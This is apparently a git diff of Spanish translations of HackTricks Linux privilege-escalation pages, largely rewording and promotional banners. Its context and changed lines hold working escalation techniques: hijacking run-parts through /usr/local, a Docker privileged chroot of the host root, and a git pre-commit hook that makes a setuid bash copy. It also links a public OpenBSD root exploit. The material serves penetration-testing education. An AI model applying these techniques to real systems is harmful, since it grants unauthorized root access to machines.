**staff**: Permite a los usuarios agregar modificaciones locales al sistema (`/usr/local`) sin necesidad de privilegios de root (ten en cuenta que los ejecutables en `/usr/local/bin` están en la variable PATH de cualquier usuario, y pueden "sobrescribir" los ejecutables en `/bin` y `/usr/bin` con el mismo nombre). Compara con el grupo "adm", que está más relacionado con monitoreo/seguridad. [\[fuente\]](https://wiki.debian.org/SystemGroups)
|
||||
**staff**: Permite a los usuarios agregar modificaciones locales al sistema (`/usr/local`) sin necesidad de privilegios de root (tenga en cuenta que los ejecutables en `/usr/local/bin` están en la variable PATH de cualquier usuario, y pueden "sobrescribir" los ejecutables en `/bin` y `/usr/bin` con el mismo nombre). Compare con el grupo "adm", que está más relacionado con monitoreo/seguridad. [\[fuente\]](https://wiki.debian.org/SystemGroups)
|
||||
|
||||
En distribuciones debian, la variable `$PATH` muestra que `/usr/local/` se ejecutará con la mayor prioridad, ya sea que seas un usuario privilegiado o no.
|
||||
En las distribuciones de Debian, la variable `$PATH` muestra que `/usr/local/` se ejecutará con la mayor prioridad, ya sea que sea un usuario privilegiado o no.
|
||||
```bash
|
||||
$ echo $PATH
|
||||
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
|
||||
|
@ -104,7 +105,7 @@ $ echo $PATH
|
|||
```
|
||||
Si podemos secuestrar algunos programas en `/usr/local`, podemos obtener fácilmente acceso de root.
|
||||
|
||||
Secuestrar el programa `run-parts` es una forma fácil de obtener acceso de root, porque la mayoría de los programas ejecutarán un `run-parts` como (crontab, cuando se inicia sesión por ssh).
|
||||
Secuestrar el programa `run-parts` es una forma fácil de obtener acceso de root, ya que la mayoría de los programas ejecutarán un `run-parts` (como crontab, al iniciar sesión por SSH).
|
||||
```bash
|
||||
$ cat /etc/crontab | grep run-parts
|
||||
17 * * * * root cd / && run-parts --report /etc/cron.hourly
|
||||
|
@ -197,7 +198,7 @@ find / -group root -perm -g=w 2>/dev/null
|
|||
```
|
||||
## Grupo Docker
|
||||
|
||||
Puedes **montar el sistema de archivos raíz de la máquina anfitriona en el volumen de una instancia**, de modo que cuando la instancia se inicie, cargue inmediatamente un `chroot` en ese volumen. Esto te da efectivamente acceso de root en la máquina.
|
||||
Puedes **montar el sistema de archivos raíz de la máquina anfitriona en el volumen de una instancia**, de modo que cuando la instancia se inicie, cargue inmediatamente un `chroot` en ese volumen. Esto te otorga efectivamente permisos de root en la máquina.
|
||||
```bash
|
||||
docker image #Get images from the docker service
|
||||
|
||||
|
@ -212,7 +213,7 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chr
|
|||
Finalmente, si no te gustan ninguna de las sugerencias anteriores, o si no están funcionando por alguna razón (¿firewall de la API de Docker?), siempre puedes intentar **ejecutar un contenedor privilegiado y escapar de él** como se explica aquí:
|
||||
|
||||
{% content-ref url="../docker-security/" %}
|
||||
[docker-security](../docker-security/)
|
||||
[seguridad-docker](../docker-security/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Si tienes permisos de escritura sobre el socket de Docker, lee [**este post sobre cómo escalar privilegios abusando del socket de Docker**](../#writable-docker-socket)**.**
|
||||
|
@ -230,23 +231,9 @@ Si tienes permisos de escritura sobre el socket de Docker, lee [**este post sobr
|
|||
## Grupo Adm
|
||||
|
||||
Normalmente, los **miembros** del grupo **`adm`** tienen permisos para **leer archivos de registro** ubicados dentro de _/var/log/_.\
|
||||
Por lo tanto, si has comprometido a un usuario dentro de este grupo, definitivamente deberías echar un **vistazo a los registros**.
|
||||
Por lo tanto, si has comprometido a un usuario dentro de este grupo, definitivamente deberías **revisar los registros**.
|
||||
|
||||
## Grupo Auth
|
||||
|
||||
Dentro de OpenBSD, el grupo **auth** generalmente puede escribir en las carpetas _**/etc/skey**_ y _**/var/db/yubikey**_ si se utilizan.\
|
||||
Estos permisos pueden ser abusados con el siguiente exploit para **escalar privilegios** a root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Escritura arbitraria de archivos en root
|
||||
# Escritura de Archivos Arbitraria en Root
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
|
||||
Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### /etc/ld.so.preload
|
||||
|
||||
|
@ -36,7 +37,7 @@ system("/bin/bash");
|
|||
```
|
||||
### Ganchos de Git
|
||||
|
||||
[**Ganchos de Git**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) son **scripts** que se **ejecutan** en varios **eventos** en un repositorio de git, como cuando se crea un commit, se hace un merge... Entonces, si un **script o usuario privilegiado** está realizando estas acciones con frecuencia y es posible **escribir en la carpeta `.git`**, esto puede ser utilizado para **escalada de privilegios**.
|
||||
[**Ganchos de Git**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) son **scripts** que se **ejecutan** en varios **eventos** en un repositorio de git, como cuando se crea un commit, se realiza un merge... Entonces, si un **script o usuario privilegiado** está realizando estas acciones con frecuencia y es posible **escribir en la carpeta `.git`**, esto puede ser utilizado para **escalada de privilegios**.
|
||||
|
||||
Por ejemplo, es posible **generar un script** en un repositorio de git en **`.git/hooks`** para que siempre se ejecute cuando se crea un nuevo commit:
|
||||
|
||||
|
@ -45,6 +46,8 @@ Por ejemplo, es posible **generar un script** en un repositorio de git en **`.gi
|
|||
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
|
||||
chmod +x pre-commit
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Archivos Cron y de tiempo
|
||||
|
||||
TODO
|
||||
|
@ -56,3 +59,18 @@ TODO
|
|||
### binfmt\_misc
|
||||
|
||||
El archivo ubicado en `/proc/sys/fs/binfmt_misc` indica qué binario debe ejecutar qué tipo de archivos. TODO: verificar los requisitos para abusar de esto y ejecutar un shell reverso cuando se abre un tipo de archivo común.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -4,23 +4,24 @@
|
|||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
¡Accede hoy mismo:
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Bash Común
|
||||
```bash
|
||||
|
@ -144,7 +145,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas del mundo**.\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir fácilmente y **automatizar flujos de trabajo** impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -288,6 +289,8 @@ locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | gre
|
|||
nmap --script-help "(default or version) and smb)"
|
||||
```
|
||||
## Bash
|
||||
|
||||
Bash es un intérprete de comandos que se utiliza comúnmente en sistemas Linux. Es útil para la automatización de tareas y la administración del sistema.
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
|
@ -323,24 +326,25 @@ iptables -P INPUT DROP
|
|||
iptables -P FORWARD ACCEPT
|
||||
iptables -P OUTPUT ACCEPT
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Entrenamiento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Entrenamiento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
¡Accede hoy mismo:
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
¡Accede hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -4,23 +4,24 @@
|
|||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
¡Accede hoy mismo:
|
||||
Accede hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Bash Común
|
||||
```bash
|
||||
|
@ -171,15 +172,7 @@ i686-mingw32msvc-gcc -o executable useradd.c
|
|||
```
|
||||
## Greps
|
||||
|
||||
Grep es una herramienta de línea de comandos que se utiliza para buscar patrones en archivos de texto. Es extremadamente útil para encontrar información específica dentro de archivos grandes. Aquí hay algunos ejemplos de cómo usar grep:
|
||||
|
||||
- `grep pattern file`: Busca un patrón específico en un archivo.
|
||||
- `grep -i pattern file`: Busca un patrón de forma insensible a mayúsculas y minúsculas.
|
||||
- `grep -r pattern directory`: Busca un patrón de forma recursiva en un directorio y sus subdirectorios.
|
||||
- `grep -v pattern file`: Muestra líneas que no contienen el patrón especificado.
|
||||
- `grep -E 'pattern1|pattern2' file`: Busca múltiples patrones a la vez utilizando expresiones regulares.
|
||||
- `grep -c pattern file`: Muestra el número de líneas que contienen el patrón.
|
||||
- `grep -n pattern file`: Muestra el número de línea junto con la línea que contiene el patrón.
|
||||
Grep es una herramienta de línea de comandos que se utiliza para buscar patrones en archivos de texto. Es extremadamente útil para encontrar información específica dentro de archivos grandes.
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
@ -297,59 +290,14 @@ nmap --script-help "(default or version) and smb)"
|
|||
```
|
||||
## Bash
|
||||
|
||||
### Descripción
|
||||
|
||||
Bash es un intérprete de comandos que se utiliza comúnmente en sistemas operativos basados en Unix, como Linux. Permite a los usuarios interactuar con el sistema operativo ejecutando comandos desde la línea de comandos.
|
||||
|
||||
### Comandos Útiles
|
||||
|
||||
- **`cd`**: Cambia el directorio actual.
|
||||
- **`ls`**: Lista los archivos y directorios en el directorio actual.
|
||||
- **`pwd`**: Muestra la ruta del directorio actual.
|
||||
- **`cp`**: Copia archivos y directorios.
|
||||
- **`mv`**: Mueve archivos y directorios.
|
||||
- **`rm`**: Elimina archivos y directorios.
|
||||
- **`chmod`**: Cambia los permisos de archivos y directorios.
|
||||
- **`chown`**: Cambia el propietario de archivos y directorios.
|
||||
- **`grep`**: Busca texto en archivos.
|
||||
- **`ps`**: Muestra los procesos en ejecución.
|
||||
- **`kill`**: Envía una señal a un proceso.
|
||||
- **`top`**: Muestra los procesos en ejecución y su uso de recursos.
|
||||
- **`history`**: Muestra el historial de comandos.
|
||||
- **`man`**: Muestra el manual de un comando.
|
||||
- **`wget`**: Descarga archivos desde la web.
|
||||
- **`ssh`**: Inicia una sesión segura de shell remoto.
|
||||
- **`tar`**: Gestiona archivos comprimidos en formato tar.
|
||||
- **`df`**: Muestra el espacio en disco disponible.
|
||||
- **`du`**: Muestra el uso del espacio en disco de archivos y directorios.
|
||||
- **`ifconfig`**: Muestra la configuración de red.
|
||||
- **`ping`**: Envía un paquete ICMP a un host.
|
||||
- **`netstat`**: Muestra las conexiones de red.
|
||||
- **`who`**: Muestra quién está conectado al sistema.
|
||||
- **`uname`**: Muestra información sobre el sistema.
|
||||
- **`date`**: Muestra la fecha y la hora actuales.
|
||||
- **`echo`**: Muestra texto en la pantalla o redirige la salida.
|
||||
- **`cat`**: Muestra el contenido de un archivo.
|
||||
- **`head`**: Muestra las primeras líneas de un archivo.
|
||||
- **`tail`**: Muestra las últimas líneas de un archivo.
|
||||
Bash es un intérprete de comandos que se utiliza comúnmente en sistemas operativos basados en Unix. Es una herramienta poderosa que permite a los usuarios interactuar con el sistema operativo mediante la ejecución de comandos.
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
```
|
||||
## Iptables
|
||||
|
||||
### Descripción
|
||||
|
||||
Iptables es una herramienta de filtrado de paquetes en el kernel de Linux. Se utiliza para configurar reglas de firewall y controlar el tráfico de red.
|
||||
|
||||
### Comandos Útiles
|
||||
|
||||
- `iptables -L`: Muestra todas las reglas de iptables.
|
||||
- `iptables -F`: Limpia todas las reglas de iptables.
|
||||
- `iptables -A <chain> -p <protocol> --dport <port> -j ACCEPT`: Agrega una regla para permitir el tráfico en un puerto específico.
|
||||
- `iptables -A <chain> -s <source> -j DROP`: Bloquea el tráfico de una dirección IP específica.
|
||||
- `iptables-save > <file>`: Guarda las reglas de iptables en un archivo.
|
||||
- `iptables-restore < <file>`: Restaura las reglas de iptables desde un archivo.
|
||||
iptables es una herramienta de filtrado de paquetes en el kernel de Linux. Se utiliza para configurar reglas de firewall y controlar el tráfico de red.
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
|
@ -380,24 +328,25 @@ iptables -P INPUT DROP
|
|||
iptables -P FORWARD ACCEPT
|
||||
iptables -P OUTPUT ACCEPT
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Entrenamiento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Entrenamiento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
¡Accede hoy mismo:
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
¡Accede hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# Saltar Restricciones en Linux
|
||||
# Saltar Restricciones de Linux
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
